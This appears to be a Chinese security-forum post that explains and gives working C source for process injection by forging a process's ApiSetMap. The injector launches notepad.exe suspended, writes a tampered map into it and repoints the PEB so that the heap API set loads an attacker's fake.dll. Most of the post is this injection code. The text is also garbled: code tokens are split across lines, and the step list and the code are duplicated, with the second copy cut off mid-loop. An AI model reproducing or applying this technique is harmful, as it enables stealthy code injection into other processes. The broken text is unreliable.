本文将深入探讨一种利用Windows内部机制——API Set Map——来实现对目标进程API调用的重定向与劫持的技术。与传统的DLL注入或IAT Hook不同,此方法通过修改进程PEB中指向API Set Map的指针,并替换映射表内容,使得加载器在解析某些API Set(如api-ms-win-core-heap-l1-1.dll)时,将其重定向到我们指定的恶意/自定义DLL。
在深入探讨技术细节之前,我们首先需要理解API Sets是什么。 Windows为了更好地进行模块化和代码重构,引入了API Sets机制。简单来说,很多我们熟知的系统DLL(如kernel32.dll, advapi32.dll)中的API,实际上并不直接在这些DLL中实现。相反,它们会通过API Sets这种“虚拟DLL”(名字通常以api-ms-win-开头,如api-ms-win-core-heap-l1-1.0.dll)进行一层抽象和重定向。 每个进程的PEB(Process Environment Block)中,都有一个指针(通常是PEB->ApiSetMap,在PoC中通过peb->Reserved9[0]访问,这是一个未公开但相对稳定的结构成员)指向当前进程的API Set Map数据。这个Map就像一张“寻路图”,告诉加载器:当遇到一个api-ms-win-开头的虚拟DLL导入时,应该去哪个真实的物理DLL(如ntdll.dll, kernelbase.dll)中寻找对应的API实现。 这个Map数据最初来源于系统文件%SystemRoot%\System32\ApiSetSchema.dll,它本身不包含可执行代码,而是一个包含映射规则的数据库。
我们的目标是:当目标进程(例如notepad.exe)尝试调用api-ms-win-core-heap-l1-1.dll中的函数(如HeapAlloc, HeapFree等)时,让它实际上去加载并执行我们自定义的fake.dll中的同名函数。 实现这一点的关键在于: 控制目标进程的ApiSetMap指针: 我们需要在目标进程的PEB中,将ApiSetMap指针指向我们精心构造的一个伪造的Map数据。 伪造ApiSetMap数据: 在这个伪造的Map数据中,我们将api-ms-win-core-heap-l1-1这个条目指向的真实DLL修改为fake.dll。
fake.dll是我们想要注入逻辑的地方。它需要导出与api-ms-win-core-heap-l1-1.dll中原始API同名同签名的函数。例如:当notepad.exe启动后,由于ApiSetMap被修改,当它(或其加载的任何模块)尝试从api-ms-win-core-heap-l1-1.dll导入HeapAlloc时,加载器会错误地认为HeapAlloc位于fake.dll中,从而加载fake.dll并调用fake.dll中的MyHeapAlloc。
API Set作为Windows内部的一个重要组件,为系统提供了灵活性和模块化。然而,任何可以被修改的内部数据结构都可能成为攻击者的目标。通过篡改进程PEB中的ApiSetMap,我们展示了一种相对底层且可能更隐蔽的API重定向和代码执行技术。
main
fakedll
代码步骤详解:
创建挂起进程: 使用CreateProcessA以CREATE_SUSPENDED标志创建notepad.exe。这确保了在notepad执行任何实质性代码前,我们有机会修改其内存。
获取PEB地址: 通过NtQueryInformationProcess获取目标进程的PROCESS_BASIC_INFORMATION,其中包含PEB的基地址。
获取模板和堆: 获取当前进程(注入器)的PEB,并从中找到ApiSetMap的指针(peb
-
>Reserved9[
0
])和进程堆的句柄(peb
-
>Reserved4[
1
],即PEB
-
>ProcessHeap)。我们将使用当前进程的ApiSetMap作为蓝本,并从当前进程堆中分配内存来构建伪造的
Map
。(注意:更严谨的做法可能是读取目标进程的原始ApiSetMap并修改,但为简化,使用了当前进程的
Map
作为模板,这在大多数情况下是可行的,因为
Map
结构是标准化的。)
构造伪造
Map
:
计算新
Map
所需的大小(原始大小
+
"fake.dll"
字符串长度
+
一些额外填充)。
使用RtlAllocateHeap(或HeapAlloc)分配内存。
memcpy原始
Map
数据到新分配的内存中。
将字符串
"fake.dll"
附加到伪造
Map
数据的末尾。
核心修改: 遍历伪造
Map
中的条目。找到键为
"api-ms-win-core-heap-l1-1"
的API_SET_VALUE_ARRAY。然后修改其对应的API_SET_VALUE_ENTRY,将其ValueOffset(指向目标DLL名称字符串的偏移)和ValueLength(目标DLL名称字符串长度)更新为指向我们刚刚附加的
"fake.dll"
字符串。
远程内存分配: 使用VirtualAllocEx在目标进程(notepad.exe)的地址空间中分配一块内存,大小足以容纳我们伪造的ApiSetMap。
写入伪造
Map
: 使用WriteProcessMemory将我们构造好的伪造ApiSetMap数据写入到目标进程刚刚分配的远程内存中。
修改PEB指针: 这是最关键的一步。计算出目标进程PEB中ApiSetMap指针的实际地址,然后使用WriteProcessMemory将该地址处的值(即指针本身)修改为指向我们在步骤
5
中分配并写入的远程伪造
Map
的基地址。
恢复进程: 调用ResumeThread让notepad.exe继续执行。
代码步骤详解:
创建挂起进程: 使用CreateProcessA以CREATE_SUSPENDED标志创建notepad.exe。这确保了在notepad执行任何实质性代码前,我们有机会修改其内存。
获取PEB地址: 通过NtQueryInformationProcess获取目标进程的PROCESS_BASIC_INFORMATION,其中包含PEB的基地址。
获取模板和堆: 获取当前进程(注入器)的PEB,并从中找到ApiSetMap的指针(peb
-
>Reserved9[
0
])和进程堆的句柄(peb
-
>Reserved4[
1
],即PEB
-
>ProcessHeap)。我们将使用当前进程的ApiSetMap作为蓝本,并从当前进程堆中分配内存来构建伪造的
Map
。(注意:更严谨的做法可能是读取目标进程的原始ApiSetMap并修改,但为简化,使用了当前进程的
Map
作为模板,这在大多数情况下是可行的,因为
Map
结构是标准化的。)
构造伪造
Map
:
计算新
Map
所需的大小(原始大小
+
"fake.dll"
字符串长度
+
一些额外填充)。
使用RtlAllocateHeap(或HeapAlloc)分配内存。
memcpy原始
Map
数据到新分配的内存中。
将字符串
"fake.dll"
附加到伪造
Map
数据的末尾。
核心修改: 遍历伪造
Map
中的条目。找到键为
"api-ms-win-core-heap-l1-1"
的API_SET_VALUE_ARRAY。然后修改其对应的API_SET_VALUE_ENTRY,将其ValueOffset(指向目标DLL名称字符串的偏移)和ValueLength(目标DLL名称字符串长度)更新为指向我们刚刚附加的
"fake.dll"
字符串。
远程内存分配: 使用VirtualAllocEx在目标进程(notepad.exe)的地址空间中分配一块内存,大小足以容纳我们伪造的ApiSetMap。
写入伪造
Map
: 使用WriteProcessMemory将我们构造好的伪造ApiSetMap数据写入到目标进程刚刚分配的远程内存中。
修改PEB指针: 这是最关键的一步。计算出目标进程PEB中ApiSetMap指针的实际地址,然后使用WriteProcessMemory将该地址处的值(即指针本身)修改为指向我们在步骤
5
中分配并写入的远程伪造
Map
的基地址。
恢复进程: 调用ResumeThread让notepad.exe继续执行。
/
/
声明外部C链接的NT API函数 RtlCompareUnicodeString
/
/
该函数用于比较两个UNICODE_STRING结构
EXTERN_C
LONG
NTAPI
RtlCompareUnicodeString(
_In_ PCUNICODE_STRING String1,
/
/
指向第一个UNICODE_STRING的指针
_In_ PCUNICODE_STRING String2,
/
/
指向第二个UNICODE_STRING的指针
_In_ BOOLEAN CaseInSensitive
/
/
是否不区分大小写比较 (TRUE 为不区分)
);
/
/
定义 API_SET_VALUE_ENTRY 结构
/
/
这个结构描述了一个 API
Set
Schema 中的一个具体DLL(宿主DLL)的条目
typedef struct _API_SET_VALUE_ENTRY
{
ULONG Flags;
/
/
标志位
ULONG NameOffset;
/
/
指向宿主DLL名称的偏移量 (相对于ApiSetMap的基地址)
ULONG NameLength;
/
/
宿主DLL名称的长度 (字节数)
ULONG ValueOffset;
/
/
指向实际解析到的DLL名称的偏移量 (相对于ApiSetMap的基地址)
ULONG ValueLength;
/
/
实际解析到的DLL名称的长度 (字节数)
} API_SET_VALUE_ENTRY,
*
PAPI_SET_VALUE_ENTRY;
/
/
定义 API_SET_VALUE_ARRAY 结构
/
/
这个结构描述了一个 API
Set
Schema (例如
"api-ms-win-core-heap-l1-1"
)
/
/
它包含一个或多个宿主DLL (API_SET_VALUE_ENTRY)
typedef struct _API_SET_VALUE_ARRAY
{
ULONG Flags;
/
/
标志位
ULONG NameOffset;
/
/
指向API
Set
Schema名称的偏移量 (例如
"api-ms-win-core-heap-l1-1"
)
ULONG Unk;
/
/
未知字段
ULONG NameLength;
/
/
API
Set
Schema名称的长度 (字节数)
ULONG DataOffset;
/
/
指向此API
Set
Schema对应的 API_SET_VALUE_ENTRY 数组的偏移量
ULONG Count;
/
/
API_SET_VALUE_ENTRY 数组中的条目数量
} API_SET_VALUE_ARRAY,
*
PAPI_SET_VALUE_ARRAY;
/
/
定义 API_SET_NAMESPACE_ENTRY 结构 (在较新Windows版本中,此结构可能与API_SET_VALUE_ARRAY合并或不同)
/
/
这似乎是旧版ApiSetMap中的一个条目,描述了名称空间条目的一些属性
typedef struct _API_SET_NAMESPACE_ENTRY
{
ULONG Limit;
/
/
限制
ULONG Size;
/
/
大小
} API_SET_NAMESPACE_ENTRY,
*
PAPI_SET_NAMESPACE_ENTRY;
/
/
定义 API_SET_NAMESPACE_ARRAY 结构
/
/
这是整个 ApiSetMap 的头部结构
typedef struct _API_SET_NAMESPACE_ARRAY
{
ULONG Version;
/
/
ApiSetMap 的版本
ULONG Size;
/
/
整个 ApiSetMap 数据块的大小 (不包括附加的字符串数据)
ULONG Flags;
/
/
标志位
ULONG Count;
/
/
API_SET_VALUE_ARRAY (或旧版API_SET_NAMESPACE_ENTRY) 条目的数量
ULONG Start;
/
/
指向第一个 API_SET_VALUE_ARRAY 条目的偏移量 (相对于ApiSetMap的基地址)
ULONG End;
/
/
(可能未使用或有其他含义)
ULONG Unk[
2
];
/
/
未知字段
} API_SET_NAMESPACE_ARRAY,
*
PAPI_SET_NAMESPACE_ARRAY;
/
/
声明外部C链接的NT API函数 RtlAllocateHeap
/
/
该函数用于从指定的堆中分配内存
EXTERN_C NTSYSAPI PVOID RtlAllocateHeap(
PVOID HeapHandle,
/
/
堆句柄
ULONG Flags,
/
/
分配标志 (例如 HEAP_ZERO_MEMORY)
SIZE_T Size
/
/
要分配的字节数
);
int
main()
{
/
/
初始化一个 UNICODE_STRING 结构,用于存储目标 API
Set
Schema 名称
"api-ms-win-core-heap-l1-1"
UNICODE_STRING heapString
=
{
0
};
RtlInitUnicodeString(&heapString, L
"api-ms-win-core-heap-l1-1"
);
/
/
L
"api-ms-win-core-heap-l1-1"
是我们要替换的目标
/
/
初始化 STARTUPINFOA 结构,用于 CreateProcessA
STARTUPINFOA startInfo
=
{
0
};
startInfo.cb
=
sizeof(STARTUPINFOA);
/
/
设置结构大小
/
/
初始化 PROCESS_INFORMATION 结构,用于接收 CreateProcessA 创建的进程和线程信息
PROCESS_INFORMATION pinfo
=
{
0
};
/
/
创建一个新的进程 (notepad.exe),但以挂起状态创建 (CREATE_SUSPENDED)
/
/
这样我们就有机会在它开始执行之前修改它的内存
CreateProcessA(
"C:\\Windows\\notepad.exe"
, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startInfo, &pinfo);
/
/
printf(
"create error = %x\r\n"
,GetLastError());
/
/
调试用,打印创建进程的错误码
/
/
初始化 PROCESS_BASIC_INFORMATION 结构,用于存储通过 NtQueryInformationProcess 获取的进程基本信息
PROCESS_BASIC_INFORMATION baseInfo
=
{
0
};
ULONG
len
=
0
;
/
/
用于接收 NtQueryInformationProcess 返回的数据长度
/
/
查询新创建的挂起进程的基本信息,主要是为了获取其 PEB (Process Environment Block) 的地址
NtQueryInformationProcess(pinfo.hProcess, ProcessBasicInformation, &baseInfo, sizeof(baseInfo), &
len
);
/
/
获取当前进程的 PEB 地址
/
/
NtCurrentTeb() 获取当前线程的 TEB (Thread Environment Block)
/
/
TEB
-
>ProcessEnvironmentBlock 指向当前进程的 PEB
PEB
*
peb
=
NtCurrentTeb()
-
>ProcessEnvironmentBlock;
/
/
计算我们要替换的DLL名称
"fake.dll"
的字节长度 (
Unicode
字符,每个字符
2
字节)
int
dllStrLen
=
wcslen(L
"fake.dll"
)
*
2
;
/
/
从当前进程的 PEB 中获取 ApiSetMap 的指针
/
/
在 PEB 结构中,Reserved9[
0
] (或在较新Windows SDK中直接是 ApiSetMap 字段) 指向 ApiSetMap
PAPI_SET_NAMESPACE_ARRAY pApiSetMap
=
(PAPI_SET_NAMESPACE_ARRAY)peb
-
>Reserved9[
0
];
/
/
ApiSetMap
/
/
从当前进程的 PEB 中获取进程堆的句柄
/
/
Reserved4[
1
] (或 ProcessHeap 字段) 指向进程的主堆
PVOID ProcessHeap
=
peb
-
>Reserved4[
1
];
/
/
ProcessHeap
/
/
在当前进程的堆上分配一块内存,用于创建一个
"伪造"
的 ApiSetMap
/
/
大小为原始 ApiSetMap 的大小,加上
"fake.dll"
字符串的长度,再加上一些额外的空间 (
0x1000
) 以防万一
PAPI_SET_NAMESPACE_ARRAY pFakeApiSetMap
=
(PAPI_SET_NAMESPACE_ARRAY)RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, pApiSetMap
-
>Size
+
dllStrLen
+
0x1000
);
/
/
将原始 ApiSetMap 的内容完整复制到我们新分配的 pFakeApiSetMap 内存区域
memcpy((char
*
)pFakeApiSetMap, (char
*
)pApiSetMap, pApiSetMap
-
>Size);
/
/
让 pApiSetMap 指针指向我们伪造的 ApiSetMap,后续操作将在这个副本上进行
pApiSetMap
=
pFakeApiSetMap;
/
/
计算在 pFakeApiSetMap 数据之后存储
"fake.dll"
字符串的地址
/
/
(ULONG_PTR)pApiSetMap
+
pApiSetMap
-
>Size 指向 pFakeApiSetMap 结构体数据区的末尾
PWCHAR fakeName;
fakeName
=
(PWCHAR)((ULONG_PTR)pApiSetMap
+
pApiSetMap
-
>Size);
/
/
将
"fake.dll"
字符串复制到计算好的地址 fakeName 处
memcpy(fakeName, L
"fake.dll"
, dllStrLen);
/
/
获取指向 ApiSetMap 中第一个 API
Set
Schema 条目 (API_SET_VALUE_ARRAY) 的指针
/
/
pApiSetMap
-
>Start 是第一个条目的偏移量
PAPI_SET_VALUE_ARRAY Entry
=
(PAPI_SET_VALUE_ARRAY)((PUCHAR)pApiSetMap
+
pApiSetMap
-
>Start);
/
/
初始化两个 UNICODE_STRING 结构,用于在遍历时临时存储名称
UNICODE_STRING nameString
=
{
0
};
/
/
用于 API
Set
Schema 名称
UNICODE_STRING ValueString
=
{
0
};
/
/
用于宿主 DLL 名称
/
/
遍历 ApiSetMap 中的所有 API
Set
Schema 条目
for
(
int
i
=
0
; i < pApiSetMap
-
>Count; i
+
+
)
{
/
/
设置 nameString 以引用当前 API
Set
Schema 的名称
nameString.MaximumLength
=
Entry
-
>NameLength;
nameString.Length
=
Entry
-
>NameLength;
nameString.
Buffer
=
(PWCHAR)(Entry
-
>NameOffset
+
(ULONG_PTR)pApiSetMap);
/
/
名称字符串在ApiSetMap内的实际地址
/
/
打印当前 API
Set
Schema 的名称,格式如
"api-ms-win-core-heap-l1-1.dll -> { "
printf(
"%wZ.dll -> { "
, &nameString);
/
/
获取指向当前 API
Set
Schema 的宿主DLL条目数组 (API_SET_VALUE_ENTRY) 的指针
PAPI_SET_VALUE_ENTRY valueEntry
=
(PAPI_SET_VALUE_ENTRY)(Entry
-
>DataOffset
+
(ULONG_PTR)pApiSetMap);
/
/
遍历当前 API
Set
Schema 的所有宿主DLL条目
for
(
int
j
=
0
; j < Entry
-
>Count; j
+
+
)
{
/
/
检查当前 API
Set
Schema 名称是否是我们想要修改的目标
"api-ms-win-core-heap-l1-1"
/
/
RtlCompareUnicodeString 进行不区分大小写的比较
if
(RtlCompareUnicodeString(&nameString, &heapString, TRUE)
=
=
0
)
{
/
/
如果匹配,修改此宿主DLL条目,使其指向我们添加的
"fake.dll"
/
/
valueEntry
-
>ValueOffset 更新为
"fake.dll"
字符串相对于 pApiSetMap 基地址的偏移
valueEntry
-
>ValueOffset
=
(ULONG_PTR)fakeName
-
(ULONG_PTR)pApiSetMap;
/
/
valueEntry
-
>ValueLength 更新为
"fake.dll"
的长度
valueEntry
-
>ValueLength
=
dllStrLen;
}
/
/
设置 ValueString 以引用当前宿主DLL条目指向的实际DLL名称
ValueString.MaximumLength
=
valueEntry
-
>ValueLength;
ValueString.Length
=
valueEntry
-
>ValueLength;
ValueString.
Buffer
=
(PWCHAR)(valueEntry
-
>ValueOffset
+
(ULONG_PTR)pApiSetMap);
/
/
打印实际解析到的DLL名称
printf(
"%wZ"
, &ValueString);
/
/
如果不是最后一个宿主DLL条目,则打印逗号分隔符
if
((j
+
1
) !
=
Entry
-
>Count) printf(
","
);
/
/
如果宿主DLL条目本身也有一个名称 (通常用于别名或重定向)
if
(valueEntry
-
>NameLength !
=
0
)
{
/
/
设置 nameString (这里复用了) 以引用宿主DLL条目的名称
nameString.MaximumLength
=
valueEntry
-
>NameLength;
nameString.Length
=
valueEntry
-
>NameLength;
nameString.
Buffer
=
(PWCHAR)(valueEntry
-
>NameOffset
+
(ULONG_PTR)pApiSetMap);
/
/
打印宿主DLL条目的名称,用方括号括起来
printf(
"[%wZ]"
, &nameString);
}
/
/
移动到下一个宿主DLL条目
valueEntry
+
+
;
}
/
/
打印 API
Set
Schema 条目的结束括号和换行
printf(
" }\r\n"
);
/
/
移动到下一个 API
Set
Schema 条目
Entry
+
+
;
}
/
/
在目标进程 (notepad.exe) 的地址空间中分配内存
/
/
大小与我们伪造的 pApiSetMap (包含
"fake.dll"
) 相同
/
/
MEM_COMMIT: 为指定的内存区域分配物理存储器
/
/
PAGE_READWRITE: 分配的内存区域可读可写
PVOID base
=
VirtualAllocEx(pinfo.hProcess, NULL, pApiSetMap
-
>Size
+
dllStrLen
+
0x1000
, MEM_COMMIT, PAGE_READWRITE);
SIZE_T wlen
=
0
;
/
/
用于接收 WriteProcessMemory 实际写入的字节数
/
/
将我们修改后的 pApiSetMap (包含
"fake.dll"
和更新的条目) 写入到目标进程中分配的内存区域 (base)
bool
is
=
WriteProcessMemory(pinfo.hProcess, base, pApiSetMap, pApiSetMap
-
>Size
+
dllStrLen
+
0x1000
, &wlen);
/
/
准备修改目标进程PEB中的ApiSetMap指针
PPEB pc
=
NULL;
/
/
用一个空指针来获取 PEB 结构体成员的偏移量
ULONG64 pebAPi
=
0
, pebAPi2
=
0
;
/
/
用于存储读取到的目标进程PEB中的ApiSetMap指针值(修改前和修改后)
/
/
读取目标进程 PEB 中原始的 ApiSetMap 指针值
/
/
(ULONG64)baseInfo.PebBaseAddress: 目标进程PEB的基地址
/
/
(ULONG_PTR)&pc
-
>Reserved9: Reserved9 成员相对于PEB结构体起始地址的偏移量
/
/
(这是一种技巧,因为 pc 是 NULL,&pc
-
>Reserved9 实际上就是 Reserved9 成员的偏移)
ReadProcessMemory(pinfo.hProcess, (PVOID)((ULONG64)baseInfo.PebBaseAddress
+
(ULONG_PTR)&pc
-
>Reserved9), &pebAPi, sizeof(PVOID), &wlen);
/
/
假设是指针大小,通常是
8
字节(
64
位)或
4
字节(
32
位)
/
/
将目标进程 PEB 中的 ApiSetMap 指针修改为我们新分配并写入的伪造ApiSetMap的地址 (base)
is
=
WriteProcessMemory(pinfo.hProcess, (PVOID)((ULONG64)baseInfo.PebBaseAddress
+
(ULONG_PTR)&pc
-
>Reserved9), &base, sizeof(PVOID), &wlen);
/
/
再次读取目标进程 PEB 中的 ApiSetMap 指针值,以验证修改是否成功
ReadProcessMemory(pinfo.hProcess, (PVOID)((ULONG64)baseInfo.PebBaseAddress
+
(ULONG_PTR)&pc
-
>Reserved9), &pebAPi2, sizeof(PVOID), &wlen);
/
/
printf(
"%llx,%llx\r\n"
, pebAPi, pebAPi2);
/
/
调试用,打印修改前后的指针值
/
/
int
error
=
GetLastError();
/
/
调试用,获取最后一个错误码
/
/
恢复目标进程的主线程,使其开始执行
/
/
此时,目标进程的加载器在解析
"api-ms-win-core-heap-l1-1.dll"
时,会根据被修改的ApiSetMap,
/
/
最终解析到
"fake.dll"
(如果
"fake.dll"
存在且可被加载)
ResumeThread(pinfo.hThread);
/
/
printApiSetMap();
/
/
假设这是一个打印当前进程ApiSetMap的函数,这里被注释掉了
system(
"pause"
);
/
/
暂停程序,以便观察结果或进行调试
return
0
;
/
/
main函数返回
}
/
/
声明外部C链接的NT API函数 RtlCompareUnicodeString
/
/
该函数用于比较两个UNICODE_STRING结构
EXTERN_C
LONG
NTAPI
RtlCompareUnicodeString(
_In_ PCUNICODE_STRING String1,
/
/
指向第一个UNICODE_STRING的指针
_In_ PCUNICODE_STRING String2,
/
/
指向第二个UNICODE_STRING的指针
_In_ BOOLEAN CaseInSensitive
/
/
是否不区分大小写比较 (TRUE 为不区分)
);
/
/
定义 API_SET_VALUE_ENTRY 结构
/
/
这个结构描述了一个 API
Set
Schema 中的一个具体DLL(宿主DLL)的条目
typedef struct _API_SET_VALUE_ENTRY
{
ULONG Flags;
/
/
标志位
ULONG NameOffset;
/
/
指向宿主DLL名称的偏移量 (相对于ApiSetMap的基地址)
ULONG NameLength;
/
/
宿主DLL名称的长度 (字节数)
ULONG ValueOffset;
/
/
指向实际解析到的DLL名称的偏移量 (相对于ApiSetMap的基地址)
ULONG ValueLength;
/
/
实际解析到的DLL名称的长度 (字节数)
} API_SET_VALUE_ENTRY,
*
PAPI_SET_VALUE_ENTRY;
/
/
定义 API_SET_VALUE_ARRAY 结构
/
/
这个结构描述了一个 API
Set
Schema (例如
"api-ms-win-core-heap-l1-1"
)
/
/
它包含一个或多个宿主DLL (API_SET_VALUE_ENTRY)
typedef struct _API_SET_VALUE_ARRAY
{
ULONG Flags;
/
/
标志位
ULONG NameOffset;
/
/
指向API
Set
Schema名称的偏移量 (例如
"api-ms-win-core-heap-l1-1"
)
ULONG Unk;
/
/
未知字段
ULONG NameLength;
/
/
API
Set
Schema名称的长度 (字节数)
ULONG DataOffset;
/
/
指向此API
Set
Schema对应的 API_SET_VALUE_ENTRY 数组的偏移量
ULONG Count;
/
/
API_SET_VALUE_ENTRY 数组中的条目数量
} API_SET_VALUE_ARRAY,
*
PAPI_SET_VALUE_ARRAY;
/
/
定义 API_SET_NAMESPACE_ENTRY 结构 (在较新Windows版本中,此结构可能与API_SET_VALUE_ARRAY合并或不同)
/
/
这似乎是旧版ApiSetMap中的一个条目,描述了名称空间条目的一些属性
typedef struct _API_SET_NAMESPACE_ENTRY
{
ULONG Limit;
/
/
限制
ULONG Size;
/
/
大小
} API_SET_NAMESPACE_ENTRY,
*
PAPI_SET_NAMESPACE_ENTRY;
/
/
定义 API_SET_NAMESPACE_ARRAY 结构
/
/
这是整个 ApiSetMap 的头部结构
typedef struct _API_SET_NAMESPACE_ARRAY
{
ULONG Version;
/
/
ApiSetMap 的版本
ULONG Size;
/
/
整个 ApiSetMap 数据块的大小 (不包括附加的字符串数据)
ULONG Flags;
/
/
标志位
ULONG Count;
/
/
API_SET_VALUE_ARRAY (或旧版API_SET_NAMESPACE_ENTRY) 条目的数量
ULONG Start;
/
/
指向第一个 API_SET_VALUE_ARRAY 条目的偏移量 (相对于ApiSetMap的基地址)
ULONG End;
/
/
(可能未使用或有其他含义)
ULONG Unk[
2
];
/
/
未知字段
} API_SET_NAMESPACE_ARRAY,
*
PAPI_SET_NAMESPACE_ARRAY;
/
/
声明外部C链接的NT API函数 RtlAllocateHeap
/
/
该函数用于从指定的堆中分配内存
EXTERN_C NTSYSAPI PVOID RtlAllocateHeap(
PVOID HeapHandle,
/
/
堆句柄
ULONG Flags,
/
/
分配标志 (例如 HEAP_ZERO_MEMORY)
SIZE_T Size
/
/
要分配的字节数
);
int
main()
{
/
/
初始化一个 UNICODE_STRING 结构,用于存储目标 API
Set
Schema 名称
"api-ms-win-core-heap-l1-1"
UNICODE_STRING heapString
=
{
0
};
RtlInitUnicodeString(&heapString, L
"api-ms-win-core-heap-l1-1"
);
/
/
L
"api-ms-win-core-heap-l1-1"
是我们要替换的目标
/
/
初始化 STARTUPINFOA 结构,用于 CreateProcessA
STARTUPINFOA startInfo
=
{
0
};
startInfo.cb
=
sizeof(STARTUPINFOA);
/
/
设置结构大小
/
/
初始化 PROCESS_INFORMATION 结构,用于接收 CreateProcessA 创建的进程和线程信息
PROCESS_INFORMATION pinfo
=
{
0
};
/
/
创建一个新的进程 (notepad.exe),但以挂起状态创建 (CREATE_SUSPENDED)
/
/
这样我们就有机会在它开始执行之前修改它的内存
CreateProcessA(
"C:\\Windows\\notepad.exe"
, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startInfo, &pinfo);
/
/
printf(
"create error = %x\r\n"
,GetLastError());
/
/
调试用,打印创建进程的错误码
/
/
初始化 PROCESS_BASIC_INFORMATION 结构,用于存储通过 NtQueryInformationProcess 获取的进程基本信息
PROCESS_BASIC_INFORMATION baseInfo
=
{
0
};
ULONG
len
=
0
;
/
/
用于接收 NtQueryInformationProcess 返回的数据长度
/
/
查询新创建的挂起进程的基本信息,主要是为了获取其 PEB (Process Environment Block) 的地址
NtQueryInformationProcess(pinfo.hProcess, ProcessBasicInformation, &baseInfo, sizeof(baseInfo), &
len
);
/
/
获取当前进程的 PEB 地址
/
/
NtCurrentTeb() 获取当前线程的 TEB (Thread Environment Block)
/
/
TEB
-
>ProcessEnvironmentBlock 指向当前进程的 PEB
PEB
*
peb
=
NtCurrentTeb()
-
>ProcessEnvironmentBlock;
/
/
计算我们要替换的DLL名称
"fake.dll"
的字节长度 (
Unicode
字符,每个字符
2
字节)
int
dllStrLen
=
wcslen(L
"fake.dll"
)
*
2
;
/
/
从当前进程的 PEB 中获取 ApiSetMap 的指针
/
/
在 PEB 结构中,Reserved9[
0
] (或在较新Windows SDK中直接是 ApiSetMap 字段) 指向 ApiSetMap
PAPI_SET_NAMESPACE_ARRAY pApiSetMap
=
(PAPI_SET_NAMESPACE_ARRAY)peb
-
>Reserved9[
0
];
/
/
ApiSetMap
/
/
从当前进程的 PEB 中获取进程堆的句柄
/
/
Reserved4[
1
] (或 ProcessHeap 字段) 指向进程的主堆
PVOID ProcessHeap
=
peb
-
>Reserved4[
1
];
/
/
ProcessHeap
/
/
在当前进程的堆上分配一块内存,用于创建一个
"伪造"
的 ApiSetMap
/
/
大小为原始 ApiSetMap 的大小,加上
"fake.dll"
字符串的长度,再加上一些额外的空间 (
0x1000
) 以防万一
PAPI_SET_NAMESPACE_ARRAY pFakeApiSetMap
=
(PAPI_SET_NAMESPACE_ARRAY)RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, pApiSetMap
-
>Size
+
dllStrLen
+
0x1000
);
/
/
将原始 ApiSetMap 的内容完整复制到我们新分配的 pFakeApiSetMap 内存区域
memcpy((char
*
)pFakeApiSetMap, (char
*
)pApiSetMap, pApiSetMap
-
>Size);
/
/
让 pApiSetMap 指针指向我们伪造的 ApiSetMap,后续操作将在这个副本上进行
pApiSetMap
=
pFakeApiSetMap;
/
/
计算在 pFakeApiSetMap 数据之后存储
"fake.dll"
字符串的地址
/
/
(ULONG_PTR)pApiSetMap
+
pApiSetMap
-
>Size 指向 pFakeApiSetMap 结构体数据区的末尾
PWCHAR fakeName;
fakeName
=
(PWCHAR)((ULONG_PTR)pApiSetMap
+
pApiSetMap
-
>Size);
/
/
将
"fake.dll"
字符串复制到计算好的地址 fakeName 处
memcpy(fakeName, L
"fake.dll"
, dllStrLen);
/
/
获取指向 ApiSetMap 中第一个 API
Set
Schema 条目 (API_SET_VALUE_ARRAY) 的指针
/
/
pApiSetMap
-
>Start 是第一个条目的偏移量
PAPI_SET_VALUE_ARRAY Entry
=
(PAPI_SET_VALUE_ARRAY)((PUCHAR)pApiSetMap
+
pApiSetMap
-
>Start);
/
/
初始化两个 UNICODE_STRING 结构,用于在遍历时临时存储名称
UNICODE_STRING nameString
=
{
0
};
/
/
用于 API
Set
Schema 名称
UNICODE_STRING ValueString
=
{
0
};
/
/
用于宿主 DLL 名称
/
/
遍历 ApiSetMap 中的所有 API
Set
Schema 条目
for
(
int
i
=
0
; i < pApiSetMap
-
>Count; i
+
+
)
{
/
/
设置 nameString 以引用当前 API
Set
Schema 的名称
nameString.MaximumLength
=
Entry
-
>NameLength;
nameString.Length
=
Entry
-
>NameLength;
nameString.
Buffer
=
(PWCHAR)(Entry
-
>NameOffset
+
(ULONG_PTR)pApiSetMap);
/
/
名称字符串在ApiSetMap内的实际地址
/
/
打印当前 API
Set
Schema 的名称,格式如
"api-ms-win-core-heap-l1-1.dll -> { "
printf(
"%wZ.dll -> { "
, &nameString);
/
/
获取指向当前 API
Set
Schema 的宿主DLL条目数组 (API_SET_VALUE_ENTRY) 的指针
PAPI_SET_VALUE_ENTRY valueEntry
=
(PAPI_SET_VALUE_ENTRY)(Entry
-
>DataOffset
+
(ULONG_PTR)pApiSetMap);
/
/
遍历当前 API
Set
Schema 的所有宿主DLL条目
for
(
int
j
=
0
; j < Entry
-
>Count; j
+
+
)
{
/
/
检查当前 API
Set
Schema 名称是否是我们想要修改的目标
"api-ms-win-core-heap-l1-1"
/
/
RtlCompareUnicodeString 进行不区分大小写的比较
if
(RtlCompareUnicodeString(&nameString, &heapString, TRUE)
=
=
0
)
{
/
/
如果匹配,修改此宿主DLL条目,使其指向我们添加的
"fake.dll"
/
/
valueEntry
-
>ValueOffset 更新为
"fake.dll"
字符串相对于 pApiSetMap 基地址的偏移
valueEntry
-
>ValueOffset
=
(ULONG_PTR)fakeName
-
(ULONG_PTR)pApiSetMap;
/
/
valueEntry
-
>ValueLength 更新为
"fake.dll"
的长度
valueEntry
-
>ValueLength
=
dllStrLen;
}
/
/
设置 ValueString 以引用当前宿主DLL条目指向的实际DLL名称
ValueString.MaximumLength
=
valueEntry
-
>ValueLength;
ValueString.Length
=
valueEntry
-
>ValueLength;
ValueString.
Buffer
=
(PWCHAR)(valueEntry
-
>ValueOffset
+
(ULONG_PTR)pApiSetMap);
/
/
打印实际解析到的DLL名称
printf(
"%wZ"
, &ValueString);
/
/
如果不是最后一个宿主DLL条目,则打印逗号分隔符
if
((j
+
1
) !
=
Entry
-
>Count) printf(
","
);
/
/
如果宿主DLL条目本身也有一个名称 (通常用于别名或重定向)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2025-5-17 12:55
被S极客编辑
,原因: 增加例子